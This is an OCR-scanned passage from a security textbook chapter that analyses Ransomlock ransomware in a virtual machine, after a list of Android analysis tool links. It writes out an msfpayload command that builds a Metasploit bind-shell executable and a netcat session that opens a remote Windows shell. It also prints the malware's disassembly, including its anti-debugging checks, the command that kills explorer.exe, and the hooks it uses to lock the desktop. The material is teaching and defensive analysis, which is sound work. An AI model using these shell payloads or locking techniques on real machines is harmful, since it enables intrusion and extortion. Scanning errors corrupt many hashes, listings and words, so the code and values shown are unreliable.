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Phoenix https://phoenixpwn.com/download.php 

Smali syntax highlight for Sublime eithub.convstrazzere/sublime-smali 

Smali syntax highlight for various editors sites.google.convsite/lohanplus/files/ 


Sms Manager API 
documentation developer.android.com/reference/android/telephony/Sms Manager. html 


Study on Android Auto-SMS www.symantec.com/connect/blogs/study-android-auto- 
sms 


TaintDroid appanalysis.org/1ndex.html 
Various Android analysis tools: 


* code.google.com/p/droidbox/ 
e github.com/honeynet/apkinspector/ 
* code.google.com/p/androguard/ 
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bitbucket.org/androguard/community/ 
code.google.com/p/android-apktool/ 
github.com/tracerOtong/axmlprinter 
bitbucket.org/mstrobel/procyon/ 
github.com/Storyyeller/Krakatau/ 
developer.android.com/tools/devices/emulator.html 
code.google.com/p/smali/ 

varaneckas.com/]ad/ 
www.android-decompiler.com/ 


Virustotal www.virustotal.com/ 
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CHAPTER 


Dissecting Ransomware 


This chapter dissects a unique family of malware known as ransomware. This malware 
is able to take control of a system unless a ransom is paid to its creators. 

In this chapter, we cover the following topics: 

* History of ransomware 

* Options for paying a ransom 

* Dynamic and static analysis of Ransomlock 

* Decoding in memory 

e Anti-debugging checks 

* Taking control of the Desktop 

e Identifying and analyzing Wannacry encryption 





The Beginnings of Ransomware 


Ransomware is a unique family of malware that 1s able to take full control of a machine 
until a ransom 1s paid by the victim. In order to increase the chances of getting money, 
the malicious program will pretend to look like it’s coming from a legitimate source, 
such as a law enforcement agency, stating that the end user has been caught visiting 
unauthorized websites and therefore needs to pay the violation fee. Other strategies to 
fool the end user include presenting a fake Windows Product Activation screen, asking 
the victim to pay to reactivate the system due to a specific fraud being detected. 
Normally, the crooks will set an expiration period in which to pay the ransom, forcing 
the victim to send the money right after being infected. An excellent video from 
Symantec explaining ransomware can be found in the “For Further Reading" section at 
the end of the chapter. 

Ransomware can be classified 1n a few different ways, based on the way it 
manipulates the data: 


* Crypters Atype of ransomware that encrypts user data, effectively holding 1t for 
ransom until the victim decides to exchange money for the decryption key. 


* Lockers Atype of ransomware that utilizes various techniques to prevent users 
from interacting with their operating system. In this case, the operating system 1s 
held for ransom; the user's data on disk 1s not modified by the malware. 


* Leakware (doxware) Unlike the previous two classes, where the attacker 
doesn't have access to the data, leakware typically employs a remote 
administration tool to exfiltrate the victim's data. The attacker then threatens to 
publish the data unless a ransom is paid. 


This kind of malware 1s not new. The first ransomware utilizing encryption, called the 
“AIDS Trojan," was created by Dr. Joseph Popp and documented around 1989. At that 
time, the name of this family of malware was a little bit different: it was called 
"cryptoviral extortion.” The AIDS Trojan encrypted all files from the hard drive and 
asked the victims to pay US$189 to “PC Cyborg Corporation." When Popp was caught, 
he said the money he earned was going to be used to support AIDS research. 

The AIDS Trojan used symmetric keys to encrypt the information. Because the key 
was embedded in the binary, 1t was easy to recover the encrypted files. Later on, the 
researchers Adam Young and Moti Yung fixed this 1ssue by implementing public key 
cryptography. That way, the files were encrypted with a public key, and once the ransom 
was paid, the corresponding private key needed to decrypt data was given to the victim. 
In this scenario, there was no way to find the key needed to decrypt the information, thus 
improving the extortion attack. 

Due to its popularity, ransomware malware spread to other platforms, and in mid- 
2014 the first ransomware designed for Android devices was discovered: 
Simplelocker. 


Options for Paying the Ransom 


From the criminal’s point of view, the most important part is to remain anonymous when 
receiving the money. That 1s why the methods of payments mentioned here have evolved 
over time: 


e Premium-rate SMS This is an easy method for sending the payment, but it’s 
also easy for tracking the receiver. The victim just needs to send a text message to 
recover their computer. 


* Online cash payment providers This method of payment does not require the 
use of a credit card. A victim can go to the nearest local provider and buy some 
credit with cash 1n order to receive a specific code to spend the money. This code 
is sent to the criminals in order to recover the machine. Here, the only way to 
know the receiver getting the money is by reversing the piece of malware. Some 
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of the well-known online cash providers are Ukash, MoneyPak, and Paysafecard. 


e Bitcoin Described as digital cash and considered a digital currency (because it 
is not considered a true currency), bitcoin 1s a peer-to-peer method of payment 
that has gained massive attention 1n recent months. Because the bitcoin can be 
transferred from one person to another person directly, it is significantly more 
difficult to track the sender and receiver, making it easier than ever for crooks to 
capitalize on their malicious efforts. 


| \ 


CAUTION Before you consider paying the ransom, it's suggested that you consult the 
nearest technical support person to try to regain control of your data. 





Now that you have an overview of how ransomware works, let's dissect a couple of 
examples to understand their inner workings. 


Dissecting Ransomlock 


When you're dealing with ransomware, dynamic analysis 1s useless most of the time. 
This 1s because once you run it, your Desktop will be controlled by the malware; 
therefore, you will not be able to review the logs or results from the monitoring tool. 
However, there are many tricks you can perform in order to recover the machine after 
running the malware to get access to the monitoring results. In this section, we take a 
look at a Ransomlock malware sample that belongs to the Locker ransomware family 
and implements the techniques typical for this class of ransomware. 





NOTE The exercises in this chapter are provided as examples rather than as labs due 
to the fact that 1n order to perform these exercises, you need a malicious binary. 


Example 19-1: Dynamic Analvsis 








is EDGBAEF329EBFAF6BIIEIC7BABDO9859E3. 


Ransomlock will lock the screen but will not try to kill any processes or deny network 
access to the machine. Therefore, as analysts, we can leave a backdoor in the virtual 
machine (VM) to kill the malicious process at any time and recover control of the 
infected system. Let's see how this works: 


1. We need to create a bind shell to get remote access to the infected machine. We can 


use Metasploit in our Kali machine to do that, as shown here, making sure to 
change the RHOST to your IP. Because no port 1s defined, the default one will be 
4444. 
msfpayload windows/shell bind tcp RHOST-192.168.184.134 X » malo.exe 
cp malo.exe /var/www/GH5/ 
Now download malo.exe onto the victim machine by browsing to http://«kali- 
IP2/GH5/malo.exe. 


. Run netcat on Kali to wait for the remote shell and then run malo.exe on the victim 
machine. Here, you can see that a Windows shell has been received: 
root@kali:/var/www/GH58# nc 192.168.184.134 4444 
Microsoft Windows [Version 6.1.7601] 


Copyright (c) 2009 Microsoft Corporation. All rights reserved. 


C:\Users\Public\Downloads> 
. Fire up Procmon and set a filter to only monitor locker.exe. Select Filter | Filter... 


and then create the condition “Process Name is locker.exe,” as shown next. Click 
Add and then click Apply. 
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Filters were in effect the last time you exited Process Monitor: 
Display entries matching these conditions: 


Process Name wlis v | locker.exel v | then Indude w 


Reset 


| Column Value 

[V] G9 Process N... i System 

| [v G9 Process N.. i wmiprvse exe 
(ve Process N... i Searchindexer.e... 
[VI Process N... i Explorer. EXE 


Pr! Deme-AmAm ME ie 





























Wiii meh lad Bh ma n 














4. Run the malware. After a few seconds, the screen will be locked with a message 
in a Russian-like language, as shown next. Due to the lack of a language pack being 
installed, you'll see many weird characters. However, the content of the message 
is not relevant for this exercise. 


WINDOWS CAAEIEEDIAAT! 


iy Be 


IÓeeéieareái Microsoft Security Essentials àüé caóeénediaai iaidaanadnié amooi ê iadadéaeai 
&onadaoe-ànéiai miáiówaiev, à oae enediaaieà è óeOameoiaaied aeadnaoddeasia 
niààdeaüeó yeàdidioüianeseey eeáiiiaióeeee. Aainia àienoàaey i)oeaiDi-aó OE DO, à oàéxà 
vaévbóny iaddoaiéail éeoaiceimmai miaeaoáiev fi vérieóoaóoaoée IT éióndaoeé Microsoft. 

I; àüoáoeacaii 10e--eiai 0oiebeneciaaied nenoam aüei 10emoanaeéán 

A€} aéoeaaoee nenoáni iáiaoiied 

Düeieoü Mið aaiiaioa ION: +79879877389 ia nóno 3000 Ooàeie. 

Dàrn-ào ióiecaiaeony à epaii ec oádieiaeià Ae} meaod nioiaie nayce. Ia aüaam oáóieiaen 
-àéà Aüiaeááoá dao iàónnaeümne eià. Eid riéáaoáo àaaánoe à daneieán iexá neà 


"PEE E [D s MEER OK 


ioioeaia-aueó caedó, à oàecà 10aaeeal venieoaoaóéee IN Windows. 


Etat E C E E 12 +ama EETESEETEL EAE EET ERE EE EEES 
ča Afid Aad aeepe-ay Windows 40466 áácdicáóaon osaedn! Iuioéá idodonoanaeoü 
üeüoáió 0634340 ê iàdóodiesi Sadiod ààodai emupoáóa! 





5. To unlock the screen by killing the malicious process, go to the shell obtained in 
Step 2, run tasklist /v | find locker.exe, and then kill 1t (assuming the PID of 


locker.exe 1s 1508): 


C:\Users\Public\Downloads\Tools>pskill 1508 
pskill 1508 


PsKill v1.15 - Terminates processes on local or remote systems 
Copyright (C) 1999-2012 Mark Russinovich 
Sysinternals - www.sysinternals.com 


Process 1508 killed. 
6. After all the malicious processes have been killed, the Desktop should be 
unlocked, and you can review the results of Procmon or any other dynamic 
analysis tool. 


Another way to get the Desktop back to the victim 1s to start explorer.exe from the 
remote shell (which was killed by the malware before it controlled the machine). 


\SS 


CAUTION The fact that you killed locker.exe does not mean the system is disinfected. 
The purpose of this step is only to unlock the screen to analyze the malware after 
infection. 





We are done with the remote shell, so let’s go back to Windows in the VM, which 
should be unlocked by now: 


1. Review the Procmon results in detail. You can see that the malware is searching 
for taskkill.exe (it was probably used to kill explorer.exe). It also looks like it 1s 
trying to find custom DLLs such as NATIONA PARK23423.DLL and 
HERBAL SCIENCE2340.DLL, but not many details can be found from this tool. 


2. Run the Autoruns tool from Sysinternals and go to the Logon tab, as shown next. 
Here, you can see the malware will be executed upon every reboot because the 
explorer value has been added under the Run key and the default shell has been set 
to locker.exe by changing the Winlogon\Shell key (normally, explorer.exe is the 
expected value). This way, Ransomlock takes control as soon as the end user logs 
in. 
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| © Everything | É Logon | fd Explorer | & Intemet Explorer | (4) Scheduled Tasks | y Services | £} Drivers 


Autorun Entry Description Image Path 
a HRECUNSOF PWARESMicrosolfl'iWindows NT \CurrentVersion\\Winlogon\s hell 

v. Ej CAUsers END ownloads\ocker. exe cue AR downloads Vocker. exe 
gy  HRCUNSoftware^Microsoft'fWindows*CurrentV'ersioniun 

(i = explorer cue EB. downloads\Vocker exe 


So, we now have a better idea of the malware's behavior. However, we are far from 
understanding the inner workings. Dynamic analysis is good for a quick glance because 
sometimes it gives us enough information to be able to understand the key points. 
However, we still do not know how the screen 1s locked, whether the malware will try 
to call out to a command-and-control (C2) server, or 1f any other damage 1s caused to 
the infected machine. Those different questions can be better understood by debugging 
the malicious program and performing static analysis with IDA—a perfect combination 
when doing in-depth malware analysis. 


Example 19-2: Static Analysis 





NOTE The MDS hash of the Ransomlock sample that will be analyzed in this section 
is ED3AEF329EBF4F6B11E]1C7BABD9859E3. 


Typically, ransomware 1s known to use sophisticated obfuscation, anti-debugging, anti- 
disassembly, and anti- VM techniques, aiming to make 1t really hard to understand the 
inner workings of the malware. 





NOTE In this chapter, the term decoding will be used as a synonym of de-obfuscation, 
unpacking, or decryption. 


Therefore, we have two goals: 


* To understand the “anti” techniques used to avoid detection, debugging, and 


virtualization, 1f any. 


* To understand the techniques used to take control of our Desktop. After this 
example, we should be able to respond to questions such as the following: Why 
did my mouse and keyboard stop working? Why did all the windows disappear? 
Why does running the malware through a debugger not work? 


Decoding in Memory 

We will again play with the locker.exe binary we used in the previous exercise, so let's 
open it up in Immunity Debugger within a VM. If you just press F9 to run it, for some 
reason the Desktop will not be locked, probably due to some anti-debugging checks. 
Let's find out why. When we reopen it with the debugger, we land on the following entry 
point: 


004042C2 PUSH EBP 

004042C3 MOV EBP,ESP 

004042C5 AND ESP,FFFFFFFB8 
004042C8 SUB ESP, 34 

004042CB PUSH EBX 

004042CC PUSH ESI 

004042CD PUSH EDI 

004042CE PUSH locker.004203F8 
004042D3 PUSH 64 

004042D5 PUSH locker.00420558 


004042DA PUSH locker.00420404 
004042DF PUSH locker.00420418 
004042bE4 PUSH locker.0042042C 
004042E9 CALL DWORD PTR DS:[«&KERNEL32.GetPrivateProfileStringA-»] 


These instructions are just gibberish code pretending to look as if the program 1s 
performing normal actions. If we keep stepping into the code (using F7), we will 
eventually realize there are dozens of repetitive lines of code decoding new sets of 
instructions. A good example 1s shown here: 


004044A4 MOV EDX,DWORD PTR DS: [420240] 
004044AA MOV ESI,DWORD PTR DS: [420248] 
004044B0 XOR EDX,ESI 

004044B2 MOV DWORD PTR DS: [420240] , EDX 
004044B8 MOV EDX,DWORD PTR DS: [4203F4] 
004044BE MOV ESI,DWORD PTR DS: [420240] 
004044C4 ADD DWORD PTR DS: [EDX],ESI 
004044C6 MOV EDX,DWORD PTR SS: [ESP+30] 
004044CA MOV ESI,DWORD PTR SS: [ESP+34] 
004044CE XOR EDX, ECX 

004044D0 ADD EDX, EAX 


004044D2 MOV DWORD PTR DS:[420248],EDX 
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We can see that the double words at offsets 0x420240 and 0x420248 (from the data 
section) are being modified after some calculations. These kinds of decoding 
instructions will be found multiple times 1n the whole binary, and 1t can be really 
tedious and time consuming to step 1nto each instruction. Therefore, we need to find a 
way to skip over those instructions to reach the interesting code that will help us to 
understand the malware behavior. 

A good strategy for a faster analysis is to find calls to addresses generated at runtime. 
Normally, those addresses are found once the decoding steps have been completed; such 
an instruction can be found at address 0x00401885: 


00401885 FF DOO CALL EAX; 





NOTE Something to keep in mind that will be useful during our analysis 1s that the 
preceding instruction was found at the relative address 0x1885 from the base address 
0x00400000. 


Let's step into this instruction to find out the value of EAX. We can set a breakpoint at 
0x00401885, and once we hit that instruction we see that the value of EAX is equal to 
0x0041FD12, which 1s located 1n the resources (.rsrc) section. 

Before pressing F7 to step into the call, let's make sure to remove any breakpoints (by 
pressing ALT-B to get the list of breakpoints and using the DELETE button) because 
internally the debugger changed the value of the first byte of the command to OxCC 
(which tells the debugger to stop at that 1nstruction). Therefore, instead of the original 
opcode equal to FF DO ø, the value has been altered in memory to CC DO. Later on, the 
malware will copy these instructions to a new location and therefore will spoil the next 
instruction to be executed. When we remove the breakpoint, the byte altered by the 
debugger 1s restored to its original value. That 1s one of the reasons the malware copies 
itself to other memory locations—to carry over breakpoints that will spoil the execution 
commands in the next round. 

Once we remove the breakpoint and press F7, we jump to the address 0x0041FD12. 
From there, we follow the same strategy to find a command such as CALL <register>. 
In the following commands, we will find one here: 


QO41FD78 FFDO CALL EAX 


By stepping into the preceding call, we jump to a new address space. In this example, 


EAX 1s now equal to 0x002042C2. Here is the content of some instructions at this 


offset: 


002042C2 
002042C3 
002042C5 
002042C8 
002042CB 
002042CC 
002042CD 
002042CE 
002042D3 
002042D5 
002042DA 
002042DF 
00204 Z2E4 
002042E9 


PUSH EBP 

MOV EBP, ESP 

AND ESP, FFFFFFFS 
SUB ESP, 34 

PUSH EBX 

PUSH ESI 

PUSH EDI 

PUSH 2203F8 

PUSH 64 

PUSH 220558 

PUSH 220404 

PUSH 220418 

PUSH 22042C 

CALL DWORD PTR DS: [20F018] ; kernel32.GetPrivateProfileStringA 


In case you did not notice it yet, this code is the same as the one shown in the entry 
point, just 1n a new location, as expected. Let's again apply our formula to find a CALL 
EAX, which is base address + 0x1885 (in this case, 00200000 + 0x1885). And there it 
is—we found our instruction again at the expected offset: 


00201885 


FFDO CALL EAX 


This time, EAX 1s equal to 0x0021FD12 at runtime, so after stepping into this call, we 
get the following instructions: 


0021FD12 
QOZIFD13 
Q021FD15 
QO21FD18 
0021FD1B 
QOZIFDIC 
O021FDlD 
Q0021FD25 
0021FD2D 
QO21FD31 
Q021FD32 
0021FD35 


PUSH EBP 

MOV EBP,ESP 

AND ESP,FFFFFFF8 

SUB ESP,30 

PUSH ESI 

PUSH EDI 

MOV DWORD PTR SS: [ESP+2C] ,0 
MOV DWORD PTR SS: [ESP+34],0 
LEA EAX,DWORD PTR SS: [ESP+18] 
PUSH EAX 

PUSH DWORD PTR SS: (EBP+1C] 
PUSH DWORD PTR SS: (EBP+18] 
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0021FD38 
O021FD3B 
O021FD3E 
0O021FD41 
0021FD44 
Q021FD49 
O021FDAC 
0021FD50 
0021FD54 
O021FD56 
0021FD5C 
0021FD60 
0021FD62 


PUSH 
PUSH 
PUSH 
PUSH 
CALL 


DWORD 
DWORD 
DWORD 
DWORD 
0021D0DB 


MOV EAX,DWORD 
MOV DWORD PTR 
MOV EAX,DWORD 


TEST 


EAX,EAX 


JE OOZIFDFI 
MOV EAX,DWORD 


TEST 


EAX,EAX 


JE OOZIFDFI 


PTR SS: [EBP+14] 
PTR SS: [EBP«10] 
PTR SS: [EBP«C] 
PTR SS: [EBP+8] 


PTR SS: [EBP+1C] 
SS: [ESP4C] , BAX 
PTR SS: [ESP+2C] 


PTR SS: [ESP+34] 


A couple of things happened here. First, we cannot find another CALL EAX 
instruction in the addresses, so we are probably close to the end of the decoding phase. 
Actually, if we step over the call at 0x0021 FD44 (by pressing Fs), the malware will 
terminate itself. Therefore, let’s step into that call. For the sake of brevity, we will take 
a shortcut. Eventually, the malware will jump back to the resources section at offset 
0x0041FB50, where new decoded instructions are waiting. So let's go there quickly by 
setting a hardware breakpoint on execution at that address; we can do this by executing 
the instruction dd 0x41fb50 at the command box from the debugger and then right- 
clicking the first byte (1n the lower-left pane, which is the Memory window) and 
selecting Breakpoint | Hardware, On Execution, as shown here. 
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dd 0x41fb50 | 


Now when we press F9 to run the malware, we hit our hardware breakpoint 
successfully. Here are the first instructions at our offset; as expected, we can see a new 
set of decoded instructions ready to be executed: 


0041FB50 
0041FE51 
J041FE56 
0041FB5C 
0041FB5D 
QO41F BSF 


60 


BE 00404100 
8DBE QODOFEFF 


57 
EB OB 
90 


PUSHAD 
MOV ESI,locker.00414000 


LEA EDI, 


DWORD PTR DS: (ESI+FFFEDO00] 


PUSH EDI 
JMP SHORT locker.0041FB6A 


NOP 


The common instruction PUSHAD 1s used to preserve the current values of the CPU 
registers. This is normally used before decoding data in memory, which is the case here 
because the *.text" section of the malware was zeroed out and will be filled with the 
next instructions. This clearly tells us that the malware is decoding itself 1n memory 
with the real malicious set of instructions. We can print the current content by entering 
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the command dd 0x401000 in the command box from the debugger: 


00401000 00 00 00 00 OO 00 OO 00 00 00 00 00 00 00 00 00 ............. ae 
00401010 00 00 00 00 OO 00 OO 00 OO 00 00 00 OO 00 00 O0  ...... ES ee Se A oe 
00401020 00 00 00 00 OO 00 OO OO OO 00 OO 00 00 00 00 00 —................ 
90401030 00 00 00 00 00 OO 00 OO 00 OO 00 00 00 OD O0 ÜÜ ................ 
00401040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ÜÜ ...............- 


By stepping into the next instructions, we see that the whole text section is loaded 
with the real malicious instructions. If we keep stepping into the code, we see that the 
processes are enumerated. Therefore, let’s set a breakpoint on the proper API in the 
debugger command box again: 


bp CreateToolhelp32Snapshot 


Press F9, and when the breakpoint is hit, press ALT-F9 to return to the malware code at 
the address OxOO40DE6B. There, we see instructions without them being properly 
disassembled by the debugger, as shown here: 


F E FF | 
S4C6 ?480B5653 INC DWORD PTR OS: CEAX+EAK#S+5S5666"4) 
F B FF 


E 15 


B 4c 
| aH 
E 41 





Let's make the debugger display those instructions properly by right-clicking any 
instruction in the upper-left window and selecting the option Analysis | Remove 
Analysis from Module, as shown here: 






eum) «x»biv£.uWu&l lemtwhcPkbzr.s ? MEI. 





üB4BDEGB = SE DB SE n 
Backup d 
Copy b 
Binary + 
Modify byte 
Assemble Space 
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Comment 
Add Header 
Modify Variable 
Breakpoint L 
Hit trace + 
Run trace + 
New origin here Ctrl- Gray * 
Go to 
Thread + 
Follow in Dump d 
Search for b 
Find references to + 
View + ee e 
CHAR "Ur - 
Copy to executable Salen 
Analysis , Analyse code Ctrl+A 
Bookmark | Remove analysis from module 


Scan object files Ctrl- O 


After this step, we see the proper assembly code displayed. Here are some important 
addresses that give us evidence that the processes are being enumerated: 


O040DE65 CALL DWORD PTR DS: [413A34] ; kernel32.CreateToolhelp32S8napshot 
O040DE85 CALL DWORD PTR DS: [413A4C] ; kernel32.Process32First 
QO40DEA5 CALL DWORD PTR DS: [413450] ; kernel32.Process32Next 


Antr-Debugeing Checks 

As shown in the previous steps, the first anti-debugging technique of the ransomware is 
to copy itself to other locations so that 1f an int3 (OxCC) is set, it will be carried over to 
the next memory space and will break the code changing the opcodes. Let's see what 
other anti-debugging techniques will be used by the malware. 

Let's remove all the breakpoints (ALT-B). Then, in the upper-left disassembly window, 
press CTRL-G, go to the address 0x0040E185, set a breakpoint there, and press ro. At this 
point, the malware will check whether a well-known debugger 1s running in the infected 
system by enumerating all the processes and its related modules, trying to find a process 
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or module with the name OLLYDBG, DBG, DEBUG, IDAG, or W32DSM, as shown 
here. 


ES l6FEFFFF locker. GO400F' 
Fe i T i j ED* 
HOU EAX , locker. 0040ES5 ASCII "OüLL'VDEG" 
oke ey, BE4HSEES 
TEST EAK ,ERX 
SHUR T locke HEHEHE 1-96 
HÒU BY Ag FIR Ds : CES 11, 1 
LEA EH 
LER EDM  DUORD PTR D$: TOTO 
EC s Lee 


nou 


, SB4 k HOU EAX, 
2055 FO LEA EDX, | 
$5] Er FOFFFF Tats fc DEIN ae 
SEE BG Fa HOL ED : 
28 606 usu: HOU EAX, locker. 9040E566 
Locker T: IdMESEES 
TES 1 ERR dre 


{ORT Aade 1065 
MOU BVIE PTR DS T1 11,1 
LEA EAH 
LER EDA . DUORD PTR DS: CEDI +24) 
HOL ECX mI 
locker. alae uie 
no ERX, 
LEA EDK, 
locker. BE4EDF 9s 
HOU EDX, | I i 
Hou gree SO SEER ASCII “DEBUG” 
, BEAR: ZEFZ 


= IE HHJHE IF 
Hou E TE PIR Ds : CEST), 1 
LEA EA 
LEA EDX , DWORD PTR OS: fEDI+24) 
HOU EC 
gu Hödd 
HOU EAX, 
LEH ELA, 
locker. BE4H0F SE 
HOU EDX, 
HOL ERX, locker. 0040657 ASCII "IDRG" 
cker. GBB46SBES 
TEST EAX — 


SH RT ocker. 004E 
HOU EVTE PTR ‘DS: CESIj,1 
LEH | 
LEA E , DWORD FTR OS: [EDI +24] 
HOU EC’ 104 
locker. be4hsoe4 
HOW EAR, 
LEA EDK, D PT 
seker. 00d4ODFSE 
FOU EDA,I 
HOU ERA, locker. 040E SEL 
locker,.BB4B3BES 


TEST EAX, EAX 





ker. HdE Se 


Because we are using Immunity Debugger, we are not going to be caught by this check, 
but even if we were using OllyDbg, we could either change the name of the executable 
before running 1t or patch the binary 1n memory to force the malware to keep running. 

Then, if we keep "stepping into,” the malware will try to find a debugger based on the 
common names of the drivers installed in the system inside 
c:Wwindows system32 drivers, such as sice.sys and ntice.sys (related to SoftICE) and 
syser.sys (related to the Syser Kernel Debugger), among others. Also, other checks exist 
for old virtual drivers (with a .vxd extension), as well as loaded services with paths 
such as \\.\SICE, \\.\TRW, WASYSER, and so on. Here's an example of this anti- 
debugging check. 
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Moving forward, we will find another anti-debugging check: 
0040EA487 CALL locker.0040DF2C ; JMP to kernel32.IsDebuggerPresent 


This 1s a very old and easy-to-bypass technique to check whether the malware 1s being 
debugged. After the call, if EAX = 0, no debugger was found. 


At the end of all the checks to detect a debugger, the content of ESI will have a 1 if a 
debugger is present and 0 if not; that value is saved at the BL register: 


0040E50A MOV BL,BYTE PTR DS: [ESI] 
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We can easily fool the malware into thinking there 1s no debugger by patching the 
preceding instruction (by double-clicking the instruction in the debugger, we can modify 
it) with something like this: 


0040ES50A MOV BL,O 


Unfortunately, we cannot patch the binary permanently because those instructions are 
decoded at runtime, and therefore the file on disk 1s different. However, we can create a 
VM snapshot right after patching 1t to always start debugging from that point onward 
during the analysis. 

Eventually the new value of BL will be copied to AL. We can see that at 0x410C52, 
we are able to bypass the debugger check (if AL = 1, the program will terminate; 
otherwise, it will jump to 0x00410C60): 


Q0410C52 CMP AL,1 
00410C54 JNZ SHORT locker.00410C60 


Taking Control of the Desktop 


At this point, all the checks are done, and the malware 1s ready to start preparing the 
steps to own the Desktop: 


00410779 MOV EDX,locker.00410DD0; ASCII "qwjdzlbPyUtravVxKLIfZsp3B9Y4oTAGWJ8"6 
00410CA1 PEA 
00410CA3 CALL locker .00405194 ; JMP to USER32.FindWindowA 


Q0410CA8 MOV EBX, EAX 

O0410CAA PUSH 0 ; SW HIDE 

QO41IO0CAC PUSH EBX 

00410CAD CALL locker.00404F5C ; JMP to USER32.ShowWindow 


00410CB2 PUSH 80 
00410CB7 PUSH -14 
Q0410CBS9 PUSH EBX 


00410CC7 PUSH 0 


00410CC9 PUSH locker.00410DF4 ; ASCII "taskkill /F /IM explorer.exe"6 
O0410CCE CALL locker.00404D14 ; JMP to kernel32.WinExec 

00410CD3 une 

OO410CED CALL locker.0040520C : JMP to USER32.SetWindowsHookExAQ 


The malicious window has been created with a unique window name (the window's 
title) e. The window will be found at 0x00410CA3 and hides from the Desktop at 
0x004 10CAD. This happens within milliseconds, so the end user will not even notice it. 
Later, two very important tasks take place: The explorer.exe process will be killed so 
that, among other things, the task bar is removed and is not accessible by the end user e. 
Then, the keyboard will be intercepted @ so it cannot be used by the victim once the 


malicious window is activated. We know the keyboard is being hooked by stepping into 
the call and checking the Hook Type parameter in the stack, which is 2 (for 
WH KEYBOARD): 


0012F964 


QO0l2F968 
QO012FS96C 
0012F970 


00000002 | HookType 
00410078 

00400000 |hModule = 00400000 
00000000 \ThreadID = 0 


|Hookproc = locker.00410078 


(locker) 








NOTE Many other actions are performed by the malware. We are just listing the more 
relevant ones to keep the chapter's length reasonable. 


Moving forward, we find a loop whose only purpose 1s to find and minimize all the 
windows on the Desktop: 


00410D47 
00410D4C 
00410D50 
Q0410D51 
00410D52 
00410D57 
00410D58 
00410D5A 
00410D5F 
00410D61 
00410D62 
00410D67 
00410D69 
00410D6B 
00410D6D 
00410D72 
00410D77 
00410D78 
00410D7D 
00410D7F 
00410D80 
00410D85 
00410D87 
00410D89 


PUSH OFF 

LEA EAX,DWORD PTR SS: [ESP+4] 
PUSH EAX 

PUSH EBX 

CALL locker.004051BC 
PUSH ESP 

PUSH 0 

CALL locker.00405194 

MOV ESI,EAX 

PUSH ESI 

CALL locker.00404EEC 
TEST EAX,EAX 

JE SHORT locker.00410D7D 
PUSH 0 

PUSH O0F020 

PUSH 112 

PUSH ESI 

CALL locker.004051EC 
PUSH 2 

PUSH EBX 

CALL locker.00404EB4 

MOV EBX,EAX 

TEST EBA, EBA 

JNZ SHORT locker.00410D47 


; JMP to USER32.GetWindowTextA 


; JMP to USER32.FindWindowA 


; JMP to USER32.IsWindowVisible 


; JMP to USER32.PostMessageA 


: JME to USER32.GetWindow 


This check is self-explanatory. It gets the title of the current window displayed via 
GetWindowTextA and finds that window. If the window is visible, it 15 minimized via 


a PostMessage with the following parameters: 
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0012F964 hWnd = 180174 
0012F968 Message = WM SYSCOMMAND 
0012F96C Type = SC MINIMIZE 


The last step in the loop is to call GetWindow to get the next available window 
currently being displayed. This loop is done until no more windows are found 
maximized. 

Once all windows have been minimized, the loop identifies the malicious one by 
calling FindWindowA again and restores it via a PostMessageA call: 


00410DAC CALL locker.004051EC ; JMP to USER32.PostMessageA 


For this call, the following parameters are used: 
0012F964 hWnd = 50528 
0012F968 Message = WM SYSCOMMAND 
0012F96C Type = SC RESTORE 


Again, another jump to a different set of instructions 1s done, so we step into (F7) the 
following call to follow it: 


O0410DB9 CALL locker.00407DB0 
The content of the malicious window starts to be added: 


00407DCD CALL locker.004051FC ; JMP to USER32.SendMessageA 


The following parameters appear in the stack: 


0012F95C hWnd = 30522 
0012F960 Message = WM SETTEXT 


0012F964 wParam = Q 
0012F968 \Text = 'waeybpony iadogáàieàl éeoáaiceliiilai 
üniáéasáiey ii yenieoaoaoee II eióiióaàóee Microsoft." 


Let's set a breakpoint at SetWindowPos and press ro to go there. Then, press ALT-F9 to 
return to the malware program. We should see a pop-up ransomware window displayed. 
This API was called with the HWND TOPMOST option, which essentially means that 
any window displayed in the system will always be behind this one: 


0012F920 CALL to SetWindowPos from locker.00411603 
0012F928 InsertAfter - HWND TOPMOST 


We can see that the Ransomlock window has been displayed! However, the locking 
process has not yet been done. Thanks to the debugger, the malware 1s under our control, 
as shown here. 
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Because the mouse and keyboard are not being blocked, we can interact with the 
Desktop and bring up other windows. However, because the malicious window 1s set to 
be at the top of any other one, even if we maximize other windows, they will remain 
behind it. This 1s done so the infected user can only interact with the ransomware 
window. In our environment, we'll just maximize IE and the Calculator, but as expected, 
they are displayed behind the window, as shown here. 
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We can check all the windows associated with this process by going to the View | 
Windows option in the menu. Here, we can confirm that the malicious window is set as 
the topmost. We can also see 1n the ClsProc column that the procedure address of the 
topmost window 1s 0x00405428, as shown here. We can set a breakpoint there to catch 
every single action related to that window. 





Especially with ransomware, it 1s highly recommended that you use a tool such as 
Spy from Microsoft Visual Studio to be able to identify all the hidden windows 1n the 
system and their properties during the analysis. 

The hotkey ALT-TAB 1s defined for the malicious window via the RegisterHoyKey API 
at 0x00411005. This way, once the Desktop 1s locked, 1f the user tries to switch to 
another window, they will be rejected: 


00411005 CALL locker.00404F1C ; JMP to USER32.RegisterHotKey 


Here are the stack parameters: 
0012F904 hWnd = 00130540 ('qwjdzlbPyUtravVxKLIfZsp3B9Y40...',class-'obj Form') 
0012F908 ^ HotKeyID = 1 


0012F90C Modifiers = MOD ALT 
0012F910 Key = VK TAB 


In some later instructions, we find a call to the ClipCursor API: 

00411043 CALL locker.00404E1C ; JMP to USER32.ClipCursor 
Here are the stack parameters: 

0012F910 pRect = 0012F924 [639.,588.,1289.,622.]0 


This API will keep the cursor or the mouse inside the malicious window rectangular 


area; therefore, the coordinates e are passed as parameters. 

After this call, the victim will be forced to only interact with the ransomware window 
via the mouse! If we try to click a different area of the screen, 1t will not be possible. At 
this point, your Desktop should already be locked, but because the malware has not 
completed yet, some more steps are needed for 1t to be owned completely. Let's set a 
breakpoint on SetFocus (via the command-line bp SetFocus). Press F9, press ALT-F9, 
and the game is over. 

Internally, the malware will run an infinite loop to make sure all windows from the 
Desktop are minimized. We can confirm this behavior by pressing CTRL-ALT-DEL and then 
ALT-T to bring up the Task Manager window. As soon as it 1s displayed, it will be 
minimized by the ransomware. 

Interestingly, if we try to capture the network traffic to the C2 by entering a fake 
number in the text box and then click OK to send the payment, no action will be 
performed by the malware. However, although this makes it look like the malware is not 
active, unfortunately, 1t does not prevent our machine from being owned. 

Other tasks were performed by the malware trying to take control of the Desktop; 
some of them were not successful because they are pretty old techniques. We’ve just 
focused on the most important ones to help us 1n understanding the inner workings. 

The malware uses old but still useful techniques to take control of the Desktop (see 
